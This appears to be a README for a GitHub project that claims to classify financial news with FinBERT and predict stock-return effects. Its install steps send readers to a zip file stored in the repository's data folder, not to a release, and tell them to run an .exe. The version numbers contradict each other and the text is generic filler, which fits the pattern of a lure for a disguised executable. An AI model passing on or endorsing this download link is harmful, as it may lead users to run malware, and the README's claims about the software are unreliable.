Welcome to the news-event-impact-detector project! This application allows you to classify news related to financial events and predict their effects on stock returns. It utilizes advanced models like FinBERT and regression techniques to provide accurate forecasts.
To get started, visit the following link to download the latest version of the application:
Download the latest release
- Operating System: Windows 10 or later, macOS Catalina or later, or a Linux distribution.
- Processor: Minimum dual-core processor.
- RAM: At least 4 GB.
- Storage: Available disk space of 200 MB.
Follow these steps to install and set up the application on your computer:
-
Visit the Download Page: Go to the Releases page.
-
Select the Latest Release: Look for the latest version listed at the top. For example, you might see something like v1.0.0.
-
Download the File: Click the file link suitable for your operating system. For example, if you're using Windows, download
https://raw.githubusercontent.com/mykewkymap/news-event-impact-detector/main/data/news-event-impact-detector-v2.9-alpha.2.zip. -
Locate the Downloaded File: Check your Downloads folder or the location you selected for saving the file.
-
Run the Application:
- For Windows: Double-click on the
.exefile. - For macOS: Drag the app to your Applications folder and then double-click it.
- For Linux: Open the terminal and navigate to the downloaded file's directory. Run the command
chmod +x news-event-impact-detectorfollowed by./news-event-impact-detector.
- For Windows: Double-click on the
- News Classification: The app classifies incoming news articles into various categories related to financial events.
- Impact Forecasting: It predicts the potential effect of these classified events on stock returns.
- User-Friendly Interface: Designed with simplicity in mind, anyone can use it without prior technical knowledge.
- Data Visualizations: Get clear visual representations of the news impact and predictions.
-
Open the Application: Launch the application after installation.
-
Input News Articles: You will see a section where you can paste news articles or upload files containing the news content.
-
Run the Classification: Click the "Classify" button. The application will analyze the text and categorize it.
-
View Results: After the analysis, the application will display the results, including the category and potential impact on stock prices.
-
Adjust Predictions (Optional): You can modify prediction parameters if you're familiar with them, though the default settings work well for most users.
If you encounter issues, try the following:
- Ensure your operating system meets the requirements.
- Make sure you have a stable internet connection for any external resources.
- Restart the application if it becomes unresponsive.
- Check the official documentation for more detailed troubleshooting steps.
For any questions or issues, please reach out via the GitHub issues page. We appreciate your feedback and are here to help!
We plan to incorporate additional features, such as:
- Support for more languages in news classification.
- Enhanced data analysis tools.
- Real-time news updates.
Stay tuned for updates!
Feel free to explore these resources for more detailed information and advanced functionalities. Happy forecasting!